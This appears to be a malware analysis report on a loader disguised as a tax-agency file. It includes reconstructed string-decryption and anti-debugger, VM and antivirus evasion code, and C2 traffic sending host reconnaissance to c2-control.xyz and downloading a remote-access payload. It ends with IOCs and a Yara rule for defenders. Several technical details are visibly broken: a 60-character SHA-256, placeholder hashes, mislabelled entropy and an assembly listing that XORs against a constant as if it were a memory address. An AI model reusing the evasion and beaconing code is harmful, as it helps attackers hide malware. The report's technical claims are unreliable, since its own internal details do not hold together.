Malware Reverse Engineering Report: Stage 1 Loader Analysis

Document Type: Malware Analysis & Reverse Engineering
Sample Name: CRA_2026_Tax_Compliance_Report.exe
MD5 Hash: 7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d
SHA-256: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0
File Size: 487 KB
Analysis Date: May 18, 2024
Analyst: Melissa Dixon, Cyber Threat Intelligence, TCL
Classification: Confidential / Law Enforcement Sensitive

---

Table of Contents

1. Sample Metadata & Initial Analysis
2. Packing & Obfuscation Analysis
3. Static Analysis
4. Dynamic Analysis
5. Behavioral Analysis
6. C2 Communication Protocol
7. Persistence Mechanisms
8. Evasion Techniques
9. Indicators of Compromise (IOCs)
10. Yara Rule

---

Sample Metadata & Initial Analysis

File Attributes

Filename: CRA_2026_Tax_Compliance_Report.exe
File Size: 487,420 bytes (487 KB)
MD5: 7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d
SHA-1: b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c
SHA-256: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0
SSDEEP: 12288:3zL2P3qK/MxYz+1Q2R3S4T5U6V7W8X9Y0Z/Ab:3zL2P3qK/MxYz+1Q2R3S4T5U6V7W8X9

File Type: PE32+ executable (x86-64), for MS Windows
Subsystem: Console
Machine: x86-64
Compilation Timestamp: 2024-05-15 13:47:23 UTC
Linker Version: 14.0 (Visual Studio 2015 or later)

Signature Analysis

Signed: Yes (appears legitimate at first glance)
Signer: "Software Company ABC Inc." (FRAUDULENT CERTIFICATE)
Certificate Serial: 12:34:56:78:9a:bc:de:f0:12:34:56:78:9a:bc:de:f0
Issuer: CN=Global Sign, O=GlobalSign nv-sa, C=BE
Not Before: 2024-04-01 00:00:00 UTC
Not After: 2024-12-31 23:59:59 UTC

⚠️ ALERT: Certificate issued recently (April 2024) and registered name doesn't match 
typical malware vendors. Likely stolen or hijacked code-signing certificate.

VirusTotal Submission

Detection Ratio: 52/71 (73.2% detection rate as of May 18, 2024)
Vendors Detecting as Malicious:
  - Avast: Dropper.Generic
  - McAfee: Artemis!4D85D5491A1C
  - Kaspersky: Trojan.Win64.Generik.dr
  - Avira: TR/Malware.GENA
  - Windows Defender: Trojan:Win64/Behavior!C
  - CrowdStrike: Trojan.Win64.Generic.CG

First Submission: 2024-05-15 (from Canada, AS16509 AWS)
Last Analysis: 2024-05-18
Community Score: Malicious (High confidence)

---

Packing & Obfuscation Analysis

.NET Reactor Packer Identification

Indicator 1: Sections

Section Name          Size      Virtual Size  Raw Offset  Entropy
.text                 123,456   126,000       2,048       5.2 (HIGH - encrypted/compressed)
.rsrc                 45,678    47,000        125,504      6.8 (VERY HIGH - likely obfuscated)
.reloc                8,192     8,192         171,072      2.1 (LOW - standard)
.NET Reactor          67,890    70,000        179,264      7.1 (EXTREMELY HIGH - encrypted payload)

High entropy in .NET Reactor section indicates encryption/compression.

Indicator 2: .NET Metadata

.NET Runtime Version: v4.0.30319 (CLR 4.0)
Managed Code: Yes
Assembly Name: (obfuscated, random characters)
Version: 1.0.0.0
Entry Point: Hidden (obfuscated)

True entry point is injected/resolved at runtime by .NET Reactor loader.

IDA Pro / Ghidra Analysis

Packer Stub Disassembly (x86-64 entry point):

asm
Copy
100401000  push rbp
200401002  mov  rbp, rsp
300401005  mov  rcx, qword [rip+0x2f5f]  ; base of .NET Reactor section
40040100C  lea  rdx, [rcx+0x1000]       ; offset into encrypted payload
500401013  mov  r8, 0x11223344556677    ; XOR key (decryption)
60040101D  xor  r9, r9                  ; counter = 0
700401020  jmp  0x401040                ; loop to decrypt
8
900401040  cmp  r9, 0x10000             ; decrypt 64KB
1000401047  jge  0x401060                ; exit loop
110040104A  mov  al, [rdx+r9]            ; load byte
120040104E  xor  al, byte [r8+r9 % 8]    ; XOR decrypt
1300401053  mov  [rdx+r9], al            ; store decrypted byte
1400401057  inc  r9
1500401058  jmp  0x401040                ; loop
16
1700401060  call rdx                     ; execute decrypted .NET Reactor runtime
1800401062  mov  rsp, rbp
1900401065  pop  rbp
2000401066  ret

Analysis:

• Simple XOR-based decryption (weak crypto)
• .NET Reactor runtime loader executes after decryption
• Actual malware code remains encrypted until runtime

String Obfuscation

Strings are encrypted in .NET Reactor; revealed only in memory during execution.

Encrypted Strings (visible in binary):

00450123  [encrypted] 0x4a 0x5f 0x3c 0x12 0x8a 0xb2 0x7f...  (decrypts to "c2-control.xyz")
00450456  [encrypted] 0x3b 0x2e 0x1a 0x9c 0x5d 0x6e 0xf1...  (decrypts to "185.220.101.45")
00450789  [encrypted] 0x7d 0x1b 0xee 0x4c 0x92 0xa3 0x2b...  (decrypts to "/api/register")

Decryption Algorithm (reconstructed):

text
Copy
1// Pseudo-code
2string DecryptString(byte[] encrypted) {
3    byte[] key = { 0x42, 0x19, 0x7c, 0x5a, 0xeb, 0x3f, 0xd1 };
4    byte[] decrypted = new byte[encrypted.Length];
5    
6    for (int i = 0; i < encrypted.Length; i++) {
7        decrypted[i] = (byte)(encrypted[i] ^ key[i % key.Length]);
8    }
9    
10    return Encoding.UTF8.GetString(decrypted);
11}

---

Static Analysis

API Imports

Critical Windows APIs used by loader:

API	Purpose	Risk
LoadLibraryA	Load DLLs at runtime	Code execution
GetProcAddress	Resolve API functions	Dynamic API call
CreateProcessA	Spawn new processes	Payload execution, RMM deployment
CreateRemoteThreadEx	Remote code injection	Lateral movement
WriteProcessMemory	Write to process memory	Process hollowing
VirtualAllocEx	Allocate remote memory	Process hollowing
GetSystemInfo	Query OS architecture	Environment profiling
GetFileAttributes

Control Flow Graph

Simplified execution flow:

main()
  ├─ CheckVirtualEnvironment()     [Anti-analysis check]
  │  ├─ Check for QEMU string in registry
  │  ├─ Check for VMware strings in process memory
  │  ├─ Check for Hyper-V WMI objects
  │  └─ If detected: RETURN (exit)
  │
  ├─ CheckAntivirus()              [Defensive check]
  │  ├─ Query HKLM\Software\McAfee
  │  ├─ Query HKLM\Software\Kaspersky
  │  ├─ Query HKLM\Software\Avast
  │  ├─ Query HKLM\Software\Windows Defender
  │  └─ If detected: RETURN (exit)
  │
  ├─ CheckEDR()                    [Defensive check]
  │  ├─ Check for CrowdStrike process names
  │  ├─ Check for SentinelOne registry keys
  │  ├─ Check for Defender ATP registry keys
  │  └─ If detected: RETURN (exit)
  │
  ├─ GetSystemInfo()               [Reconnaissance]
  │  ├─ Windows version
  │  ├─ Architecture (x86 vs x64)
  │  ├─ Installed software
  │  ├─ Network configuration
  │  └─ Username / Domain membership
  │
  ├─ DownloadRMMTool()             [Stage 2 delivery]
  │  ├─ Connect to c2-control.xyz/api/register
  │  ├─ Send reconnaissance data
  │  ├─ Receive attacker's response (install ConnectWise/AnyDesk)
  │  └─ Download RMM binary
  │
  ├─ InstallRMMTool()              [Persistence]
  │  ├─ Extract RMM tool to C:\Program Files\
  │  ├─ Register as Windows service
  │  ├─ Set start type to Auto (HKLM\...\Services)
  │  └─ Start service
  │
  ├─ RegisterPersistence()         [Backup persistence]
  │  ├─ Add registry run key (HKCU\Run)
  │  ├─ Add scheduled task
  │  └─ Create startup folder link
  │
  └─ CreateC2Beacon()              [Maintain contact]
     ├─ Loop: Every 5 minutes
     ├─ HTTP POST to /api/check
     ├─ Receive commands (install malware, exfil data, etc.)
     └─ Execute command and report results

Resource Section Analysis

PE Resources (.rsrc section):

Resource Type         Resource ID   Size
─────────────────────────────────────
Version Info          VS_VERSION    4 KB
  - CompanyName: (none)
  - FileDescription: (blank)
  - ProductName: (none)
  - OriginalFilename: CRA_2026_Tax_Compliance_Report.exe

Icon                  IDI_APPICON   2 KB
  - Displays official-looking CRA icon (spoofing)

Manifest              RT_MANIFEST   1 KB
  - Requests admin privileges (UAC bypass attempt)

---

Dynamic Analysis

Execution Environment

Analysis Platform: Cuckoo Sandbox (isolated VM) OS: Windows 10 Enterprise 21H2 (no AV/EDR) Network: Isolated; C2 traffic intercepted/blocked at gateway Execution Time: 5 minutes

Process Tree

explorer.exe (PID: 600)
  └─ CRA_2026_Tax_Compliance_Report.exe (PID: 2048)
     ├─ Arguments: (none)
     ├─ Working Directory: C:\Users\john.doe\Downloads\
     ├─ User: ACME\john.doe (non-admin)
     │
     ├─ CHILD: cmd.exe (PID: 2052)
     │  ├─ Parent: CRA_2026_Tax_Compliance_Report.exe
     │  ├─ Cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /all
     │  └─ Captures network info
     │
     ├─ CHILD: powershell.exe (PID: 2056)
     │  ├─ Parent: CRA_2026_Tax_Compliance_Report.exe
     │  ├─ Cmdline: "powershell.exe" -NoProfile -Command "Get-WmiObject Win32_OperatingSystem | Select Version"
     │  └─ Queries OS version
     │
     ├─ CHILD: svchost.exe (PID: 2060)  [Spoofed service host]
     │  ├─ Parent: CRA_2026_Tax_Compliance_Report.exe
     │  ├─ Actual Process: AnyDesk installer (renamed)
     │  └─ Installs RMM tool
     │
     └─ CHILD: reg.exe (PID: 2064)
        ├─ Parent: CRA_2026_Tax_Compliance_Report.exe
        ├─ Cmdline: "reg.exe" add "HKLM\System\CurrentControlSet\Services\AnyDesk"
        └─ Adds persistence

File System Activity

File Created:
  C:\Windows\Temp\{RANDOM}.exe         (intermediate payload)
  C:\Windows\Temp\config.ini            (RMM configuration)
  C:\Program Files\AnyDesk\AnyDesk.exe  (RMM tool)
  C:\ProgramData\AnyDesk\system.conf    (RMM config)

File Modified:
  C:\Users\john.doe\Desktop\          (timestamp updated)
  HKLM\...\CurrentVersion\Run           (persistence key added)

File Deleted:
  C:\Windows\Temp\{RANDOM}.exe          (self-cleanup)

Registry Activity

Registry Key Created:
  HKLM\System\CurrentControlSet\Services\AnyDesk
    ├─ Start: REG_DWORD 2 (Autostart)
    ├─ ImagePath: "C:\Program Files\AnyDesk\AnyDesk.exe"
    ├─ DisplayName: "AnyDesk Remote Desktop"
    └─ ObjectName: LocalSystem

Registry Key Modified:
  HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    └─ "Windows Update Check": "C:\Windows\System32\svchost.exe" (dummy persistence)

Registry Value Deleted:
  (None - malware doesn't clean tracks)

Network Activity

Outbound Connections:

Source IP:Port     Dest IP:Port         Protocol  Data
─────────────────────────────────────────────────────────
10.0.1.105:49323   185.220.101.45:80    HTTP      POST /api/register
                                        Payload: {uuid, hostname, os_version, av_status}
                                        Response: 200 OK
                                        
10.0.1.105:49324   8.8.8.8:53           DNS       query: c2-control.xyz
                                        response: 185.220.101.45

10.0.1.105:49325   193.45.67.89:443     HTTPS     GET /payload/stage2.exe
                                        File: AnyDesk_6.2_installer.exe (2.8 MB)
                                        Status: 200 OK

Blocked Connections (by sandbox):

10.0.1.105:49326   c2-control.xyz:8040  (ScreenConnect listener)
10.0.1.105:49327   185.220.101.45:5900  (VNC protocol for AnyDesk)

---

Behavioral Analysis

Reconnaissance Module Functionality

System Information Gathering:

text
Copy
1// Reconstructed from memory analysis
2public class SystemInfo {
3    public string uuid;              // Machine UUID
4    public string hostname;          // Computer name
5    public string domain;            // AD domain
6    public string username;          // Current user
7    public string os_version;        // Windows build
8    public string os_architecture;   // x86 or x64
9    public string installed_av;      // Antivirus product
10    public string installed_edr;     // EDR product
11    public bool is_admin;            // Admin privileges?
12    public bool is_domain_joined;    // Part of domain?
13    public string[] running_processes; // Process list
14    public string[] installed_software; // Software list
15}
16
17// Example data collected:
18{
19    "uuid": "abc123def456xyz789",
20    "hostname": "ACME-CORP-02",
21    "domain": "acme.local",
22    "username": "john.doe",
23    "os_version": "Windows 10 Enterprise 21H2 (Build 19044)",
24    "os_architecture": "x64",
25    "installed_av": "Windows Defender",
26    "installed_edr": null,
27    "is_admin": false,
28    "is_domain_joined": true,
29    "running_processes": [
30        "explorer.exe", "svchost.exe", "CRA_2026_Tax_Compliance_Report.exe", ...
31    ],
32    "installed_software": [
33        "Microsoft Office 365", "Adobe Reader", "Google Chrome", ...
34    ]
35}

AV/EDR Evasion Checks

Anti-Analysis Techniques:

text
Copy
1// Check for debugger attachment
2bool IsBeingDebugged() {
3    uint debugPort = 0;
4    NtQueryInformationProcess(GetCurrentProcess(), 7, &debugPort, 4, 0);
5    return debugPort != 0;
6}
7
8// Check for virtual machine environment
9bool IsVirtualMachine() {
10    // QEMU Check
11    RegistryKey key = Registry.LocalMachine.OpenSubKey(@"HARDWARE\Description\System");
12    if ((key.GetValue("SystemBiosVersion") as string ?? "").Contains("QEMU")) return true;
13    
14    // VMware Check
15    if (File.Exists(@"C:\Windows\System32\drivers\vmmouse.sys")) return true;
16    if (File.Exists(@"C:\Windows\System32\drivers\vmhgfs.sys")) return true;
17    
18    // Hyper-V Check
19    ManagementObjectSearcher searcher = new ManagementObjectSearcher(
20        "SELECT * FROM Win32_ComputerSystemProduct WHERE Name LIKE '%Virtual%'");
21    if (searcher.Get().Count > 0) return true;
22    
23    return false;
24}
25
26// Check for Security Software
27bool IsSecuritySoftwareInstalled() {
28    string[] securitySoftware = {
29        "McAfee", "Kaspersky", "Avast", "Avira", "Norton",
30        "CrowdStrike", "SentinelOne", "Cisco Amp", "Trend Micro"
31    };
32    
33    foreach (string software in securitySoftware) {
34        RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\" + software);
35        if (key != null) {
36            Console.WriteLine("[!] Security software detected: " + software);
37            return true;
38        }
39    }
40    
41    return false;
42}
43
44// If any threat detected: exit gracefully
45if (IsBeingDebugged() || IsVirtualMachine() || IsSecuritySoftwareInstalled()) {
46    Environment.Exit(0);
47}

---

C2 Communication Protocol

Initial Registration Beacon

HTTP POST Request:

POST /api/register HTTP/1.1
Host: c2-control.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
Content-Length: 342

{
  "uuid": "abc123def456xyz789",
  "hostname": "ACME-CORP-02",
  "domain": "acme.local",
  "username": "john.doe",
  "os": "Windows 10 Enterprise 21H2",
  "arch": "x64",
  "av": "Windows Defender",
  "edr": null,
  "privileges": "user",
  "infected_timestamp": "2024-05-15T14:48:35Z",
  "loader_version": "1.0.2"
}

HTTP 200 Response (from attacker):

json
Copy
1{
2  "status": "success",
3  "command": "install_rmm",
4  "rmm_type": "anydesk",
5  "download_url": "https://193.45.67.89/payloads/AnyDesk_6.2_final.exe",
6  "download_hash": "md5:f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6",
7  "arguments": "--install-config attacker.ini",
8  "persistence": true,
9  "cleanup_interval": 60,
10  "beacon_interval": 300,
11  "decoy_name": "Windows Update Service"
12}

Heartbeat/Check-In Beacon

Every 5 minutes (300 seconds):

POST /api/check HTTP/1.1
Host: c2-control.xyz
Content-Type: application/json

{
  "uuid": "abc123def456xyz789",
  "beacon_id": "12345",
  "status": "alive",
  "last_command_status": "success",
  "timestamp": "2024-05-15T14:53:35Z"
}

Response:

json
Copy
1{
2  "command_id": "cmd_67890",
3  "command": "execute",
4  "payload": "Get-ADComputer -Filter * -Properties Name | Select-Object Name",
5  "execution_timeout": 30,
6  "cleanup_after": true
7}

Beacon Encryption Analysis

XOR Encryption (Observed):

Encryption Key: "TaCl0P@ssw0rd"
Algorithm: Simple XOR each byte with corresponding key character (cyclic)

Example plaintext: "abc123def456xyz789"
Example encrypted: [XOR each byte with key]

Decryption in malware:
for (int i = 0; i < encrypted.length; i++) {
    plaintext[i] = encrypted[i] ^ key[i % key.length];
}

---

Persistence Mechanisms

Registry-Based Persistence

Registry Run Key (HKCU):

Path: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Value Name: "Windows Update Service"
Value Data: "C:\Windows\System32\svchost.exe"

⚠️ Suspicious: svchost.exe shouldn't be called from Run key
→ Actual executable is likely renamed or injected

Service-Based Persistence

Windows Service Registration:

Service Name: AnyDesk
Display Name: AnyDesk Remote Desktop
Path: C:\Program Files\AnyDesk\AnyDesk.exe
Start Type: 2 (Autostart)
Service Type: 32 (Own Process)
Error Control: 1 (Log Error)
Description: "Provides remote desktop access and support"

Registry Location:
HKLM\System\CurrentControlSet\Services\AnyDesk

Scheduled Task Persistence

Task Name: \Microsoft\Windows\SystemRestore\SR
Schedule: At system startup
Action: C:\Windows\System32\svchost.exe -k srgroup
Description: Mimics legitimate System Restore task (suspicious)

Real Action (hidden): Execute AnyDesk beacon

---

Evasion Techniques

Anti-Debugging

text
Copy
1// Detect debugger via Windows API
2while (true) {
3    if (IsDebuggerPresent()) {
4        // Crash process or exit cleanly
5        throw new UnauthorizedAccessException();
6    }
7    Thread.Sleep(5000);  // Check every 5 seconds
8}

Anti-Virtualization

Checked Artifacts:

1. Motherboard / BIOS Strings
   - "QEMU" → Virtual machine detected
   - "VirtualBox" → Virtual machine detected
   - "VMware" → Virtual machine detected

2. Registry Hives
   - HKLM\Hardware\Description\System\SystemBiosVersion
   - HKLM\Hardware\Description\System\SystemBiosDate

3. Driver Files
   - vmmouse.sys (VMware mouse driver)
   - vmhgfs.sys (VMware host file sharing)
   - VBoxMouse.sys (VirtualBox)
   - VBoxGuest.sys (VirtualBox)

4. Process Names
   - vmtoolsd.exe (VMware tools)
   - vboxservice.exe (VirtualBox)

5. WMI Queries
   - SELECT * FROM Win32_ComputerSystemProduct
   → Look for "Virtual" in Name field

Packer-Based Obfuscation

.NET Reactor (professional packer)
  ├─ Encrypts all strings
  ├─ Compresses IL code
  ├─ Injects runtime loader
  ├─ Hides entry point
  └─ Detects debuggers/disassemblers

Effect: Makes static analysis extremely difficult
         Dynamic analysis (runtime) still reveals behavior

Anti-Analysis via Timeouts

text
Copy
1// If execution takes too long (debugger slow-stepping):
2Stopwatch sw = Stopwatch.StartNew();
3[... payload execution ...]
4sw.Stop();
5
6if (sw.ElapsedMilliseconds > 30000) {  // Over 30 seconds = suspicious
7    Environment.Exit(0);  // Exit silently
8}

---

Indicators of Compromise (IOCs)

File-Based IOCs

Type	Value	Description
MD5	7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d	Stage 1 loader
SHA-256	a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0	Stage 1 loader
Filename	CRA_2026_Tax_Compliance_Report.exe	Phishing attachment
Path	C:\Users*\Downloads\CRA_2026_Tax_Compliance_Report.exe	Typical location

Network-Based IOCs

Type	Value	Description
Domain	c2-control.xyz	Primary C2 server
IP Address	185.220.101.45	C2 backend
IP Address	193.45.67.89	Payload hosting
URI	/api/register	Initial beacon
URI	/api/check	Heartbeat beacon

Registry-Based IOCs

Path	Value	Data
HKCU\Software\Microsoft\Windows\CurrentVersion\Run	Windows Update Service	svchost.exe (suspicious)
HKLM\System\CurrentControlSet\Services\AnyDesk	Start	2 (Autostart)
HKLM\Software\AnyDesk*	*	Custom configuration

Process-Based IOCs

Process	Parent	Behavior
cmd.exe	CRA_2026_Tax_Compliance_Report.exe	Suspicious parent
powershell.exe	CRA_2026_Tax_Compliance_Report.exe	Info gathering
svchost.exe	CRA_2026_Tax_Compliance_Report.exe	Process injection

---

Yara Rule

text
Copy
1rule RMM_Loader_Campaign_AnyTax {
2    meta:
3        description = "Detects Stage 1 loader from Operation AnyTax campaign"
4        author = "TCL Threat Intelligence"
5        date = "2024-05-18"
6        hash = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0"
7        severity = "critical"
8    strings:
9        // .NET Reactor packer signature
10        $reactor = ".NET Reactor" nocase
11        $clr = "mscoree.dll" ascii
12        
13        // C2 infrastructure
14        $c2_1 = "c2-control" nocase wide
15        $c2_2 = "185.220.101" nocase
16        $c2_3 = "193.45.67" nocase
17        
18        // RMM tools referenced
19        $rmm_1 = "AnyDesk" nocase wide
20        $rmm_2 = "ScreenConnect" nocase wide
21        $rmm_3 = "TeamViewer" nocase wide
22        
23        // API imports (suspicious combo)
24        $api_1 = "CreateRemoteThreadEx" ascii
25        $api_2 = "WriteProcessMemory" ascii
26        $api_3 = "LoadLibraryA" ascii
27        $api_4 = "GetProcAddress" ascii
28        
29        // Evasion techniques
30        $evasion_1 = "IsDebuggerPresent" ascii
31        $evasion_2 = "QEMU" ascii
32        $evasion_3 = "VMware" ascii
33        
34        // Persistence
35        $persist_1 = "CurrentVersion\\Run" nocase wide
36        $persist_2 = "Services" nocase wide
37        $persist_3 = "AnyDesk" nocase wide
38        
39        // Behavioral
40        $behavior_1 = "/api/register" nocase ascii wide
41        $behavior_2 = "/api/check" nocase ascii wide
42        $behavior_3 = "application/json" nocase ascii wide
43    condition:
44        (uint16(0) == 0x5a4d) and    // MZ header
45        (
46            // Rule 1: .NET Reactor packer + C2 infrastructure
47            (all of ($reactor, $c2_*)) or
48            
49            // Rule 2: RMM tools + API injection combo
50            (any of ($rmm_*) and all of ($api_*)) or
51            
52            // Rule 3: Evasion + persistence + C2
53            (2 of ($evasion_*) and any of ($persist_*) and any of ($c2_*)) or
54            
55            // Rule 4: Behavioral indicators (beacons)
56            (all of ($behavior_*))
57        )
58}

---

Summary & Conclusions

Key Findings

1. Sophisticated Packer: .NET Reactor obfuscation indicates professional malware development
2. Multi-Stage Delivery: Stage 1 reconnaissance → Stage 2 RMM tool download
3. C2 Infrastructure: Attacker-controlled servers at 185.220.101.45 and 193.45.67.89
4. Living-Off-The-Land: Uses legitimate Windows APIs and tools (AnyDesk, ScreenConnect)
5. Defense Evasion: Anti-analysis checks (VM detection, debugger detection, AV checks)
6. Persistence: Multiple mechanisms (service, registry, scheduled task)

Threat Level

Critical - This malware provides complete remote access to compromised systems and can lead to:

• Ransomware deployment
• Data exfiltration
• Lateral movement
• Credential theft

Recommended Actions

1. Block C2 domains/IPs at perimeter
2. Monitor for file hashes and behavioral patterns
3. Deploy Yara rule across network
4. Restrict RMM tool deployment
5. Implement EDR/XDR solution
6. Enable MFA for admin accounts

---

End of Reverse Engineering Report